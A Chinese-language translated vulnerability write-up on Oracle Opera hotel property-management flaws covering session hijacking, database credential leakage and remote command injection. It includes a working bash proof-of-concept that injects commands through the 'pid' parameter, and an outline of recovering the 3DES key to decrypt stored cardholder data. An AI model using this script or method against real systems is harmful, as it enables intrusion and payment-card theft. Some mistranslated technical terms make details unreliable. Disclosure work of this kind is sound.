Oracle酒店管理平台遠程命令執行和持卡人數據解密漏洞分析

翻譯:ResoLutiOn

預估稿費:200RMB(不服你也來投稿啊!)

投稿方式:發送郵件至linwei#360.cn,或登陸網頁版在線投稿

前言


近期,我發現在一些大型商務酒店所使用的前台數據管理系統(Oracle Opera)中存在多個安全漏洞。黑客可利用這些漏洞,進行酒店訂房App提權,以獲得更高的用戶使用許可權;同時還能夠進入酒店管理網路的後台資料庫及操作系統,實施RCE攻擊。攻擊者利用這些漏洞,可在未經身份驗證的情況下,進入Oracle Opera資料庫系統,盜取酒店顧客的身份信息、電話號碼等隱私數據。據悉,甲骨文公司(Oracle)已經接到了漏洞相關情況的報告,及時對漏洞進行了修復,併發布了漏洞報告,在其中詳細描述了漏洞的具體情況。[報告傳送門]

Oracle Opera系統簡介


Oracle Opera(也稱為Opera PMS,前身為Micros Opera)是由甲骨文旗下的子公司Micros為全球範圍內各大商務酒店量身打造的一款酒店前台操作系統。它能為酒店管理層和員工提供全方位、系統化的管理工具,以便其能快捷高效地處理客戶資料、顧客預訂、入住退房、客房分配、房內設施管理以及賬戶賬單管理等日常工作。凱悅(Hyatt)、希爾頓(Hilton)等全球知名酒店使用的均是Opera PMS操作系統。

在顧客完成費用支付的過程中,該應用程序會將顧客的銀行卡的相關信息,包括:PAN碼(信用卡賬戶編號)、失效日期、持卡人姓名等,保存在系統後台的資料庫中。目前,相關安全人員已披露了3種能夠進入該後台資料庫的攻擊方式。一旦攻擊者拿到了該資料庫的登錄許可權,他便能盜取並解密其中保存的隱私數據。

經過分析后我發現,用戶數據之所以會遭到黑客竊取,問題主要出在Opera PMS系統本身,而與用戶的操作無關;同時,如果僅使用黑盒測試是無法唯一確定漏洞的性質的。不同於以往的漏洞解決方案(供應商接到漏洞報告,並通過內部測試的方法修復漏洞),由於Opera PMS系統供應商向廣大用戶提供了詳盡的解決方案,這便給黑客攻擊Opera PMS系統創造了巨大的空間。攻擊者很容易知曉該軟體存在的缺陷,並可對其合法性進行分析測試。在經過相應的動態分析和靜態分析之後,攻擊者便能找到「進入」該系統資料庫的最佳切入點。

漏洞詳解


No.1 CVE-2016-5665:竊取系統日誌文件,實施會話劫持

在用戶登錄Oracle Opera系統后,他們可以選擇其中一個系統介面進行交互會話。啟動其中介面的請求中包含了用戶會話令牌、特定介面啟動參數等相關信息。

這裡存在一個問題,即:由於系統會將用於實現用戶交互的會話令牌和其他參數放置在一個目錄文件中,而黑客在未經身份驗證的情況下,便能通過Web伺服器訪問該文件。這便是威脅所在。

而黑客所需要做的便是「守株待兔」,等待一位具有系統管理員身份的用戶登錄Opera。待該用戶登陸成功之後,他便可通過應用程序,拿到系統的所有操作許可權,對其中的數據進行任意操作。因為系統管理員具有較高的系統使用許可權,能夠對資料庫中的數據進行查詢、修改和刪除等重要操作。一旦攻擊者拿到了管理員許可權,那麼數據泄漏則無法避免。

需要說明的是,攻擊者往往不會採用上述的方法來竊取用戶信息,因為它速度太慢且不夠「安全」,容易被識破。系統將用戶提交的每一項查詢語句保存於應用層。相比於使用Oracle Form提供的用戶交互介面,直接與資料庫伺服器建立連接的方式要快得多,可以提高效率。

No.2 CVE-2016-5664:攻擊者可泄漏系統資料庫的憑證信息

若攻擊者與資料庫伺服器共用一個網路,那麼他便可通過構造一個資料庫連接字元串的方式,盜取資料庫的相關憑證。因為在Oracle Opera系統中,資料庫憑證以及服務名等信息,是通過系統向伺服器發送一個已經經過驗證的HTML請求的方式返回的,用來啟用Oracle Forms軟體。攻擊者在執行一個未經驗證的Servlet程序時,便可獲得該資料庫伺服器的主機名。

在拿到資料庫的憑證信息后,攻擊者便可通過編譯簡單的連接語句,利用Sql*plus(用戶與oracle資料庫進行交互的客戶端工具),建立與資料庫的連接。之後,他便能以管理員的身份登錄,騙取系統的信任,對資料庫進行實時監控。

No.3 CVE-2016-5663:通過系統命令注入,實施RCE攻擊

在以下兩種情況中,攻擊者可利用該RCE漏洞:

(1)攻擊者僅能獲取到應用程序伺服器的登錄許可權(例如:Internet Exposure);

(2)攻擊者僅能通過應用程序伺服器連接到資料庫;

以上便是我在調查過程中,得出的最滿意的結果。因為以上二者看似無關,但將它們結合在一起,便能揭示出攻擊者的惡意企圖。

在系統中含有一個判斷數據傳輸過程正誤的程序。在數據傳輸完成後,它將會給系統返回確認信息,例如:網路埠號(PID)等。而在黑盒測試中,PID參數是放在一個用於執行系統指令的字元串中,不容易被察覺。攻擊者可按下圖所示的步驟進行操作:修改該參數來執行另一個命令,並可通過web伺服器將輸出結果放入另一個可讀取的文件中。

若一切順利,該程序會輸出結果whoami,並將其放在webtemp文件下。若運行出錯,那麼系統將會提示「找不到相應文件」的錯誤信息。

在瀏覽了該程序的編譯代碼后,我們會發現出錯之處(即下圖內紅框標識部分)。在編譯好的代碼中包含了pslist工具(pslist:查看系統進程,是一個屬性文件)的運行路徑。該文件的存儲路徑經過硬編碼處理,為:D:\micros\opera\operaias\default.env,但我按此路徑查找后發現,該文件並不存在。

為了修改這一錯誤,需要進行以下兩步操作:

(1)在系統中找到OPERA_HOME屬性的值;

(2)將其保存到D:\micros\opera\operaias\default.env.路徑下。

巧合的是,我在系統中發現了另一個診斷程序,它能夠查看OPERA_HOME屬性信息。如下圖所示:

接著,我們便可將剛才那個Servlet程序作為RFI載體,上傳至目標路徑:

我利用ProcessInfo程序檢查之後發現,該錯誤已經修改了。同時,系統給出的輸出結果「whoami」也證實了該應用程序能夠正常運行了。

下面的腳本程序可用於驗證操作:

123456789101112131415161718#!/bin/bashSTDOUT="D:\micros\opera\operaias\webtemp\temp.log"if [ "$#" -ne 2 ]; then echo "Usage: $0 <host> <command>" echo "E.g. : $0 http://opera.example.biz whoami" exit 1else host="$1" cmd="$2"fi# Activate exploit.curl -s -XPOST --data-binary "OPERA_HOME=D:\micros\opera" "$host/Operajserv/webarchive/FileReceiver?filename=D:/micros/opera/operaias/default.env&crc=26&append=false" > /dev/null# Inject command.curl -s -G --data-urlencode "pid=1 & $cmd > \"$STDOUT\" 2" "$host/Operajserv/webarchive/ProcessInfo" > /dev/nullcurl -# -G "$host/webtemp/temp.log"# Deactivate exploit.curl -s -G --data-urlencode "pid=1 & del \"$STDOUT\" 2" "$host/Operajserv/webarchive/ProcessInfo" > /dev/nullcurl -s -G --data-urlencode 'pid=1 & del "D:\micros\opera\operaias\default.env" 2' "$host/Operajserv/webarchive/ProcessInfo" > /dev/null

持卡人信息解密:

利用上述我所講的漏洞利用過程,攻擊者可拿到資料庫的登錄許可權,從任何一個未經授權的介面進入Oracle Opera系統資料庫,進而能夠竊取銀行卡持卡人的私密數據,並對其進行解密。

在SQL中,用於查詢數據包包體(package body)的命令語句如下所示:

由於包體信息容易與其他信息混淆,因而,攻擊者便可進一步檢索包體的信息,或是用其來「破解」出3DES演算法的密鑰。

現在,演算法和密鑰都已經得知了,攻擊者的下一步操作便是找到加密數據的存儲位置。他能在Opera資料庫中獲得這些信息。

一項能夠用於查詢NAMES_CREDIT_CARD表中數據的查詢語句,能夠顯示出用戶名和其他加密的銀行卡信息。同時,攻擊者還可通過一個腳本程序,將加密信息解析為明文。

後記


我對甲骨文公司發布的漏洞報告感到非常滿意,漏洞描述很詳盡。同時,在我向甲骨文公司提交了關於PGP公鑰安全漏洞報告的24小時之內,他們便給予了我回應。對此,我感到很欣慰。同時,甲骨文公司還表示,他們將會在下一次發布軟體補丁更新包時,加入對CVE-2016-5663、CVE-2016-5664以及CVE-2016-5665等3個漏洞進行修復的程序。

你可能會喜歡